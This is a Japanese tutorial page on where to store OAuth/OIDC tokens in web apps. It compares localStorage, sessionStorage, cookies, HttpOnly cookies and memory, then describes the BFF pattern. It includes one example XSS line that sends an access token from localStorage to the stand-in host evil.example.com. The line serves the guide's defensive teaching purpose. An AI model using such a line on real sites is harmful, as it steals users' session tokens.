localStorage
危険XSS攻撃で簡単にトークンを盗まれる。最も危険な保存場所。
sessionStorage
危険localStorageよりはマシだが、XSSに対しては同様に脆弱。タブごとに独立。
Cookie(通常)
危険XSSとCSRFの両方に脆弱。JavaScript からアクセス可能。
HttpOnly Cookie
推奨JavaScriptからアクセス不可。SameSite属性でCSRFも防止可能。推奨。
メモリ(変数)
推奨最も安全だが、リロードでトークンが消える。サイレントリフレッシュとの併用が必要。
localStorageに保存されたトークンは、同一オリジン上のすべてのJavaScriptからアクセスできます。 XSS(クロスサイトスクリプティング)攻撃が成功した場合、 攻撃者のスクリプトが簡単にトークンを盗み出せます。
// XSS攻撃者が実行するスクリプト(たった1行で盗める)
fetch("https://evil.example.com/steal?token=" + localStorage.getItem("access_token"));サードパーティのnpmパッケージ、広告スクリプト、ブラウザ拡張機能など、 予期しないJavaScriptが実行される経路は多数存在します。 localStorageにトークンを保存することは、これらすべてを信頼することを意味します。
HttpOnly 属性が付与されたCookieは、JavaScriptから一切アクセスできません。 ブラウザが自動的にリクエストに付与するため、XSS攻撃でトークンを盗むことが 不可能になります。
Set-Cookie: session=abc123; HttpOnly; // JavaScriptからアクセス不可 Secure; // HTTPSでのみ送信 SameSite=Lax; // クロスサイトリクエストで送信されない Path=/; // すべてのパスで有効 Max-Age=3600 // 1時間で失効
SameSite=Lax または SameSite=Strict を設定することで、 CSRF攻撃も防止できます。モダンブラウザではデフォルトで SameSite=Lax が適用されます。
BFFパターンは、SPAのセキュリティ問題を根本的に解決するアーキテクチャです。 トークンをブラウザに一切渡さず、サーバーサイドで管理します。
ブラウザ (SPA) BFFサーバー 認可サーバー
| | |
|--- セッションCookie ----->| |
| (トークンなし) | |
| |--- アクセストークン -->|
| | (サーバー側で保持) |
| | |
|<-- APIレスポンス ---------|<-- リソース ----------|
| (データのみ) | |- 1.ブラウザとBFFサーバー間はHttpOnly Cookieのセッションで認証
- 2.トークンはBFFサーバーのメモリまたはセッションストアに保存
- 3.APIリクエストはBFFサーバーがプロキシし、トークンを付与
- 4.ブラウザ上にトークンが存在しないため、XSSでもトークン漏洩が起きない
| アプリケーション | 推奨保存方法 |
|---|---|
| SPA(バックエンドあり) | BFFパターン(HttpOnly Cookie + サーバー側トークン管理) |
| SPA(バックエンドなし) | メモリ保存 + サイレントリフレッシュ、またはService Worker内で管理 |
| サーバーサイドアプリ | サーバーセッション内(メモリまたはデータストア) |
| モバイルアプリ | OS提供のセキュアストレージ(Keychain / Keystore) |
次のステップ
次は よくある攻撃と対策 で、OAuth/OIDCに対する代表的な攻撃パターンと防御方法を学びましょう。